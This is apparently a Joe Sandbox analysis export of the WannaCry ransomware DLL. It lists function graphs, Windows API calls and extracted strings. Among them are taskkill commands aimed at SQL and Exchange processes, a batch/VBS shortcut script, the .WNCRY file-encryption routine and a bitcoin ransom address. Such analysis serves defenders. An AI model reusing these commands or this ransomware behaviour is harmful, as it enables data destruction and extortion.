                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: DriveTypesprintf$ExchangeInterlockedtime$??2@AttributesDrivesFileLogicalSleep
                                                                                                        • String ID: :\$%s co$%s fi$00000000.pky$@WanaDecryptor@.exe$cmd.exe /c start /b %s vs$f.wnry$taskkill.exe /f /im MSExchange*$taskkill.exe /f /im Microsoft.Exchange.*$taskkill.exe /f /im mysqld.exe$taskkill.exe /f /im sqlserver.exe$taskkill.exe /f /im sqlwriter.exe
                                                                                                        • API String ID: 2286268318-429101447
                                                                                                        • Opcode ID: d22a0b3e83f09ed7f1c4d97d18c1f7f3b1ad7b1683a076e5202ebf9cf000a3db
                                                                                                        • Instruction ID: ad20d759d00d317bb7bba8036ca53a4a21ed912866785a7fe56f7d9f5780bade
                                                                                                        • Opcode Fuzzy Hash: d22a0b3e83f09ed7f1c4d97d18c1f7f3b1ad7b1683a076e5202ebf9cf000a3db
                                                                                                        • Instruction Fuzzy Hash: 4771D475A04351ABF320EB64CC81BCF73A4EB847D5F00062AF689962DDEF71A544C7A6
                                                                                                        Function 100029F0 Relevance: 35.1, APIs: 18, Strings: 2, Instructions: 130sleepfilethreadCOMMON
                                                                                                        Download Yara Rule

                                                                                                        Control-flow Graph

                                                                                                        • Executed
                                                                                                        • Not Executed
                                                                                                        control_flow_graph 300 100029f0-100029fe 301 10002a04 300->301 302 10002b88-10002b89 ExitThread 300->302 303 10002a06-10002a0c 301->303 303->302 304 10002a12-10002a21 Sleep 303->304 304->303 305 10002a23-10002a29 304->305 305->302 306 10002a2f-10002a42 EnterCriticalSection 305->306 307 10002a48 306->307 308 10002b6f-10002b82 LeaveCriticalSection 306->308 309 10002a4e-10002a64 307->309 308->301 308->302 310 10002a66 309->310 311 10002a68-10002a74 wcslen 309->311 310->311 312 10002ae4-10002aed DeleteFileW 311->312 313 10002a76-10002a82 MoveFileExW 311->313 316 10002b0a-10002b26 312->316 317 10002aef-10002b04 GetFileAttributesW SetFileAttributesW MoveFileExW 312->317 314 10002a84-10002a8e GetFileAttributesW 313->314 315 10002aab-10002ae2 swprintf MoveFileExW 313->315 314->315 318 10002a90-10002aa5 GetFileAttributesW SetFileAttributesW MoveFileExW 314->318 315->312 315->316 319 10002b46-10002b69 ??3@YAXPAX@Z 316->319 320 10002b28-10002b2d 316->320 317->316 318->315 319->308 319->309 321 10002b3a-10002b43 ??3@YAXPAX@Z 320->321 322 10002b2f-10002b31 320->322 321->319 322->321 323 10002b33-10002b38 322->323 323->319
                                                                                                        APIs
                                                                                                        • Sleep.KERNELBASE(000003E8,?,?,?,?,100029E9), ref: 10002A17
                                                                                                        • EnterCriticalSection.KERNEL32(?,?,?,?,?,100029E9), ref: 10002A36
                                                                                                        • wcslen.MSVCRT ref: 10002A69
                                                                                                        • MoveFileExW.KERNELBASE(6D286090,?,00000001), ref: 10002A7A
                                                                                                        • GetFileAttributesW.KERNEL32(?), ref: 10002A85
                                                                                                        • GetFileAttributesW.KERNEL32(?), ref: 10002A91
                                                                                                        • SetFileAttributesW.KERNEL32(?,00000000), ref: 10002A9B
                                                                                                        • MoveFileExW.KERNEL32(?,00000000,00000004), ref: 10002AA5
                                                                                                        • swprintf.MSVCRT(?,%s\%d%s,?,?,.WNCRYT), ref: 10002ACD
                                                                                                        • MoveFileExW.KERNEL32(6D286090,?,00000001), ref: 10002ADA
                                                                                                        • DeleteFileW.KERNEL32(6D286090), ref: 10002AE5
                                                                                                        • GetFileAttributesW.KERNEL32(6D286090), ref: 10002AF0
                                                                                                        • SetFileAttributesW.KERNEL32(6D286090,00000000), ref: 10002AFA
                                                                                                        • MoveFileExW.KERNELBASE(6D286090,00000000,00000004), ref: 10002B04
                                                                                                        • ??3@YAXPAX@Z.MSVCRT ref: 10002B3E
                                                                                                        • ??3@YAXPAX@Z.MSVCRT ref: 10002B50
                                                                                                        • LeaveCriticalSection.KERNEL32(?,?,?,?,?,100029E9), ref: 10002B76
                                                                                                        • ExitThread.KERNEL32 ref: 10002B89
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: File$Attributes$Move$??3@CriticalSection$DeleteEnterExitLeaveSleepThreadswprintfwcslen
                                                                                                        • String ID: %s\%d%s$.WNCRYT
                                                                                                        • API String ID: 3370902958-2625268679
                                                                                                        • Opcode ID: 5aaa32eb16a49172a7f2923782406ddf12ac2b4b30e35554fb09a11671e7bc83
                                                                                                        • Instruction ID: 4eadcc60a9fd2c13a81cde3cb6b98b1cf7f5e87c47d95b9730b2c0affcd99018
                                                                                                        • Opcode Fuzzy Hash: 5aaa32eb16a49172a7f2923782406ddf12ac2b4b30e35554fb09a11671e7bc83
                                                                                                        • Instruction Fuzzy Hash: F1418DB0A00645EFE320DF24CCC8AABB7EDFB493C5B40452DF65A92259DB34A905CF21
                                                                                                        Function 10004DF0 Relevance: 29.8, APIs: 11, Strings: 6, Instructions: 89fileCOMMON
                                                                                                        Download Yara Rule

                                                                                                        Control-flow Graph

                                                                                                        APIs
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: sprintf$fclose$AttributesFile_ftol_wfopenfopenfreadfwrite
                                                                                                        • String ID: $%d worth of bitcoin$%.1f BTC$13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94$@Please_Read_Me@.txt$@WanaDecryptor@.exe$r.wnry
                                                                                                        • API String ID: 3877625632-294676379
                                                                                                        • Opcode ID: f93b16d99e2d67eca5aaa2646e491e3e251633abd24757ef33fd9aa690c77c84
                                                                                                        • Instruction ID: e660b577af69ff821e56b4899d06e5cea9328265c4e53c1252cafca3024faee2
                                                                                                        • Opcode Fuzzy Hash: f93b16d99e2d67eca5aaa2646e491e3e251633abd24757ef33fd9aa690c77c84
                                                                                                        • Instruction Fuzzy Hash: 3A21A875504651ABF320E764CC84DDF3799FB843D0F010A15FA9492199DB78A9488BB6
                                                                                                        Function 10003010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 188fileCOMMON
                                                                                                        Download Yara Rule

                                                                                                        Control-flow Graph

                                                                                                        • Executed
                                                                                                        • Not Executed
                                                                                                        control_flow_graph 356 10003010-1000302e call 10006bd0 GetFileAttributesW 359 10003030-1000303b 356->359 360 1000303c-1000303e 356->360 361 10003040-10003044 SetFileAttributesW 360->361 362 1000304a-10003064 CreateFileW 360->362 361->362 363 100030a3-100030bd GetFileSizeEx 362->363 364 10003066-10003071 call 10003000 362->364 365 100030f4-100030fa 363->365 366 100030bf-100030c5 363->366 373 10003073-1000307c 364->373 374 1000307d-10003095 CreateFileW 364->374 371 100030fc 365->371 372 1000310e-10003113 365->372 369 100030d6-100030db 366->369 370 100030c7 366->370 378 100030df-100030f2 call 10004420 369->378 376 100030d0-100030d4 370->376 377 100030c9-100030ce 370->377 379 10003106-1000310c 371->379 380 100030fe-10003104 371->380 375 10003117-1000312c 372->375 374->363 381 10003097-100030a2 374->381 382 1000312e-10003136 375->382 376->378 377->369 377->376 378->382 379->375 380->372 380->379 384 10003161-1000316d 382->384 385 10003138 382->385 389 1000316e-10003193 WriteFile FlushFileBuffers SetFilePointer 384->389 387 10003142-1000315f SetFilePointer 385->387 388 1000313a-10003140 385->388 387->389 388->384 388->387 390 10003195 389->390 391 100031e9-100031ff FindCloseChangeNotification 389->391 392 100031a1-100031ae 390->392 393 10003197-10003199 390->393 395 100031b0 392->395 396 100031ba-100031dd WriteFile 392->396 393->391 394 1000319b 393->394 394->392 399 100031b2-100031b4 395->399 400 100031b6-100031b8 395->400 397 1000319d 396->397 398 100031df 396->398 397->392 398->391 401 100031e1-100031e7 398->401 399->396 399->400 400->396 401->391 401->392
                                                                                                        APIs
                                                                                                        • GetFileAttributesW.KERNELBASE(?,75D9A390,?,?,10002BEC,?,?,?,10006E59,000000FF,100022E7,?), ref: 10003025
                                                                                                        • SetFileAttributesW.KERNEL32(?,00000000), ref: 10003044
                                                                                                        • CreateFileW.KERNELBASE(?,40000000,00000003,00000000,00000003,00000000,00000000), ref: 10003059
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: File$Attributes$Create
                                                                                                        • String ID: UUUU
                                                                                                        • API String ID: 1801647141-1798160573
                                                                                                        • Opcode ID: 14cc93a9fe107791c37b83c4efdcca205c7828bbbc73b4742ae3ba22524b848d
                                                                                                        • Instruction ID: 36e163601d4996daa667a0bb92eb2dba8126ee3049f78d5f23e03fc8b8949e05
                                                                                                        • Opcode Fuzzy Hash: 14cc93a9fe107791c37b83c4efdcca205c7828bbbc73b4742ae3ba22524b848d
                                                                                                        • Instruction Fuzzy Hash: 265115B57043146BF321DB14DC84FAF77DDFBC87D0F108629FA06A6298D735A90486A5
                                                                                                        Function 10004CD0 Relevance: 21.1, APIs: 5, Strings: 7, Instructions: 88fileCOMMON
                                                                                                        Download Yara Rule

                                                                                                        Control-flow Graph

                                                                                                        • Executed
                                                                                                        • Not Executed
                                                                                                        control_flow_graph 419 10004cd0-10004ce7 GetFileAttributesW 420 10004ce9-10004cf5 CopyFileA 419->420 421 10004cfb-10004d05 GetFileAttributesW 419->421 420->421 422 10004dd9-10004de0 421->422 423 10004d0b-10004d59 GetCurrentDirectoryA 421->423 424 10004d5b-10004d6c 423->424 425 10004d9e-10004dd0 sprintf call 10001140 423->425 424->425 426 10004d6e-10004d9c 424->426 428 10004dd5-10004dd8 425->428 426->425 428->422
                                                                                                        APIs
                                                                                                        • GetFileAttributesW.KERNELBASE(@WanaDecryptor@.exe,00000000), ref: 10004CE2
                                                                                                        • CopyFileA.KERNEL32(u.wnry,@WanaDecryptor@.exe,00000000), ref: 10004CF5
                                                                                                        • GetFileAttributesW.KERNELBASE(@WanaDecryptor@.exe.lnk), ref: 10004D00
                                                                                                        • GetCurrentDirectoryA.KERNEL32(00000208,?,75730F00), ref: 10004D45
                                                                                                        • sprintf.MSVCRT ref: 10004DC2
                                                                                                        Strings
                                                                                                        • @WanaDecryptor@.exe.lnk, xrefs: 10004DAC
                                                                                                        • @WanaDecryptor@.exe, xrefs: 10004CDD
                                                                                                        • \, xrefs: 10004D67
                                                                                                        • @WanaDecryptor@.exe, xrefs: 10004CEB, 10004DA2
                                                                                                        • @WanaDecryptor@.exe.lnk, xrefs: 10004CFB
                                                                                                        • @echo offecho SET ow = WScript.CreateObject("WScript.Shell")> m.vbsecho SET om = ow.CreateShortcut("%s%s")>> m.vbsecho om.TargetPath = "%s%s">> m.vbsecho om.Save>> m.vbscscript.exe //nologo m.vbsdel m.vbs, xrefs: 10004D11
                                                                                                        • u.wnry, xrefs: 10004CF0
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: File$Attributes$CopyCurrentDirectorysprintf
                                                                                                        • String ID: @WanaDecryptor@.exe$@WanaDecryptor@.exe$@WanaDecryptor@.exe.lnk$@WanaDecryptor@.exe.lnk$@echo offecho SET ow = WScript.CreateObject("WScript.Shell")> m.vbsecho SET om = ow.CreateShortcut("%s%s")>> m.vbsecho om.TargetPath = "%s%s">> m.vbsecho om.Save>> m.vbscscript.exe //nologo m.vbsdel m.vbs$\$u.wnry
                                                                                                        • API String ID: 2956617637-4137836058
                                                                                                        • Opcode ID: 1e77d94831eb72cce9ccd5b68757cc63c6d5c9f15047c273025c445cbd2f9ccc
                                                                                                        • Instruction ID: 5eff72be7f3307a573d5bd41d341f535c62de369077b8a2f1d111735481d9547
                                                                                                        • Opcode Fuzzy Hash: 1e77d94831eb72cce9ccd5b68757cc63c6d5c9f15047c273025c445cbd2f9ccc
                                                                                                        • Instruction Fuzzy Hash: A32141364006056AF308D674CC54EEF7B84FBC03A0F104B2EF6AA830E4DEB599088751
                                                                                                        Function 10002200 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 83fileCOMMON
                                                                                                        Download Yara Rule

                                                                                                        Control-flow Graph

                                                                                                        APIs
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: Filewcscpy$AttributesDelete_wcsicmpswprintfwcscatwcsrchr
                                                                                                        • String ID: %s%s$.WNCRY$.WNCYR
                                                                                                        • API String ID: 911510130-3396286913
                                                                                                        • Opcode ID: dfbcead6c62649fcd8ccf439d45198f201c0d9040458e4aae6c3cb298bf426c5
                                                                                                        • Instruction ID: 717d28f42427354848a5304481366f48336fdb23f3e673687209add65b969d53
                                                                                                        • Opcode Fuzzy Hash: dfbcead6c62649fcd8ccf439d45198f201c0d9040458e4aae6c3cb298bf426c5
                                                                                                        • Instruction Fuzzy Hash: FC219832444345ABF310EF94DD84DEF73A8EB856E5F00092AFA5592148E739A94D8773
                                                                                                        Function 10001140 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 42fileCOMMON
                                                                                                        Download Yara Rule

                                                                                                        Control-flow Graph

                                                                                                        APIs
                                                                                                        Strings
                                                                                                        • %d%d.bat, xrefs: 1000116B
                                                                                                        • %sdel /a %%0, xrefs: 100011A0
                                                                                                        • @echo offecho SET ow = WScript.CreateObject("WScript.Shell")> m.vbsecho SET om = ow.CreateShortcut("%s%s")>> m.vbsecho om.TargetPath = "%s%s">> m.vbsecho om.Save>> m.vbscscript.exe //nologo m.vbsdel m.vbs, xrefs: 10001146
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: CountTickfclosefopenfprintfrandsprintfsrandtime
                                                                                                        • String ID: %d%d.bat$%sdel /a %%0$@echo offecho SET ow = WScript.CreateObject("WScript.Shell")> m.vbsecho SET om = ow.CreateShortcut("%s%s")>> m.vbsecho om.TargetPath = "%s%s">> m.vbsecho om.Save>> m.vbscscript.exe //nologo m.vbsdel m.vbs
                                                                                                        • API String ID: 272371283-582203696
                                                                                                        • Opcode ID: aeab48e7f3d4686528c9725e0e16e6881e72156af1ea571a06345f8390d46b4c
                                                                                                        • Instruction ID: bbc73ac05f2c3d766bc92013d972e71024294a5fe7d45ddbd0c21095c0461804
                                                                                                        • Opcode Fuzzy Hash: aeab48e7f3d4686528c9725e0e16e6881e72156af1ea571a06345f8390d46b4c
                                                                                                        • Instruction Fuzzy Hash: B9F08172C00364ABE324ABA88C8DFCB376CBB44385F400400FA4991298D67C52488BE6
                                                                                                        Function 10004600 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 46synchronizationCOMMON
                                                                                                        Download Yara Rule

                                                                                                        Control-flow Graph

                                                                                                        APIs
                                                                                                        • OpenMutexA.KERNEL32(00100000,00000001,Global\MsWinZonesCacheCounterMutexW), ref: 10004610
                                                                                                        • CloseHandle.KERNEL32(00000000), ref: 1000461B
                                                                                                        • sprintf.MSVCRT ref: 1000463F
                                                                                                        • CreateMutexA.KERNELBASE(00000000,00000001,?), ref: 10004651
                                                                                                        • GetLastError.KERNEL32 ref: 1000465D
                                                                                                        • CloseHandle.KERNEL32(00000000), ref: 1000466B
                                                                                                        Strings
                                                                                                        • Global\MsWinZonesCacheCounterMutexA, xrefs: 10004634
                                                                                                        • Global\MsWinZonesCacheCounterMutexW, xrefs: 10004604
                                                                                                        • %s%d, xrefs: 10004639
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: CloseHandleMutex$CreateErrorLastOpensprintf
                                                                                                        • String ID: %s%d$Global\MsWinZonesCacheCounterMutexA$Global\MsWinZonesCacheCounterMutexW
                                                                                                        • API String ID: 1504150273-3969049628
                                                                                                        • Opcode ID: e33f24fec5a8105520afc6b73cd36ba1053ed9461139c1998fcfaa31dca5d306
                                                                                                        • Instruction ID: 5a31b93c1da5a20a1b9f141d257786ab794249d41bfd8cb4034ebc3f6a49e628
                                                                                                        • Opcode Fuzzy Hash: e33f24fec5a8105520afc6b73cd36ba1053ed9461139c1998fcfaa31dca5d306
                                                                                                        • Instruction Fuzzy Hash: A3F0A475904321A7F220E7288DC9BDF3754EF407C9F414520F94D922C9FB69E94485A7
                                                                                                        Function 10001080 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68processsynchronizationCOMMON
                                                                                                        Download Yara Rule

                                                                                                        Control-flow Graph

                                                                                                        APIs
                                                                                                        • CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,00000000,00000000), ref: 100010D3
                                                                                                        • WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 100010EB
                                                                                                        • TerminateProcess.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 100010FC
                                                                                                        • GetExitCodeProcess.KERNEL32(?,?), ref: 10001110
                                                                                                        • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,00000000), ref: 10001121
                                                                                                        • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,00000000), ref: 10001128
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: Process$CloseHandle$CodeCreateExitObjectSingleTerminateWait
                                                                                                        • String ID: D
                                                                                                        • API String ID: 786732093-2746444292
                                                                                                        • Opcode ID: bb3f84be8fed6d47b9b6b001cc49eadf72aab307978ea7c8928c43ab0557c935
                                                                                                        • Instruction ID: bf25e3b425067ed05009c6ce0a6326e1c5c349d93b4e77cf05fae7a9ae1fa398
                                                                                                        • Opcode Fuzzy Hash: bb3f84be8fed6d47b9b6b001cc49eadf72aab307978ea7c8928c43ab0557c935
                                                                                                        • Instruction Fuzzy Hash: 1111FCB1514311ABE314CF29CC8499BBBE9FF84790F404919F698C6254D774D845CBA2
                                                                                                        Function 10005340 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 46fileCOMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        • fopen.MSVCRT ref: 10005390
                                                                                                        • WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,0000026B,00000000,00000000), ref: 100053BB
                                                                                                        • fprintf.MSVCRT ref: 100053CC
                                                                                                        • fclose.MSVCRT ref: 100053D3
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: ByteCharMultiWidefclosefopenfprintf
                                                                                                        • String ID: %s$f.wnry
                                                                                                        • API String ID: 3959349042-164597620
                                                                                                        • Opcode ID: fe47b58a0a864098f1ed7e8003c354341eea4e6aa930122578fb3f2d5fa357f5
                                                                                                        • Instruction ID: 734c0e559264cc4d9b0cc5893c3b6f020f9c05ec1f5dab6dea45a35ab53bd0b3
                                                                                                        • Opcode Fuzzy Hash: fe47b58a0a864098f1ed7e8003c354341eea4e6aa930122578fb3f2d5fa357f5
                                                                                                        • Instruction Fuzzy Hash: F4019271608221AFF314EB58CCC8FEE33A4FB84791F10451AF958972D8EBB55800CBA2
                                                                                                        Function 10001000 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42fileCOMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: fclose$fopenfreadfwrite
                                                                                                        • String ID: c.wnry
                                                                                                        • API String ID: 2140422903-3240288721
                                                                                                        • Opcode ID: 2fcb7732bd124fd719fd764fef50b0c5215f73a769e972a2100bda7ef1d600a7
                                                                                                        • Instruction ID: 5b66b66c06db25d3a0a81cfd077caa1ea484c652e78dc5caa5dda909e889b54a
                                                                                                        • Opcode Fuzzy Hash: 2fcb7732bd124fd719fd764fef50b0c5215f73a769e972a2100bda7ef1d600a7
                                                                                                        • Instruction Fuzzy Hash: 01F0F631904260ABF330DB29AC48BCB37A4FF803D1F050424FE898629DD6B9CCC5C692
                                                                                                        Function 100013E0 Relevance: 9.1, APIs: 6, Instructions: 65COMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        • GetSecurityInfo.ADVAPI32(?,00000006,00000004,00000000,00000000,?,00000000,?,?,00000000,00000000), ref: 1000140A
                                                                                                        • SetEntriesInAclA.ADVAPI32 ref: 1000145E
                                                                                                        • SetSecurityInfo.ADVAPI32(?,00000006,00000004,00000000,00000000,00000001,00000000), ref: 10001471
                                                                                                        • LocalFree.KERNEL32(?), ref: 10001482
                                                                                                        • LocalFree.KERNEL32(00000001), ref: 10001489
                                                                                                        • LocalFree.KERNEL32(?), ref: 10001490
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.2416894896.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.2416844161.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2416976479.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417050022.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                        • Associated: 00000000.00000002.2417113478.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_0_2_10000000_WannaCry_2.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: FreeLocal$InfoSecurity$Entries
                                                                                                        • String ID:
                                                                                                        • API String ID: 3140748100-0
                                                                                                        • Opcode ID: 17e72d77cb2a7ab5b29a99238ea31e96b0111bf78f42c6a29ba222225ce2277a
                                                                                                        • Instruction ID: 1eb89440d750b609ffa3c3d638de18f9d51937b2d7303c4cf94103808dea2930
                                                                                                        • Opcode Fuzzy Hash: 17e72d77cb2a7ab5b29a99238ea31e96b0111bf78f42c6a29ba222225ce2277a
                                                                                                        • Instruction Fuzzy Hash: 2E11C7B1919360AFD350CF55CC84E5BBBE9FB88750F404D1EF69993240D7B59508CBA2
                                                                                                        Function 10001830 Relevance: 9.1, APIs: 6, Instructions: 61memoryCOMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        • GlobalAlloc.KERNELBASE(00000000,00100000,10005340,00000000,75730F00,00000000,1000580C,00000000.pky,10005340,1000DD8C,75730F10), ref: 10001869
                                                                                                        Memory Dump Source
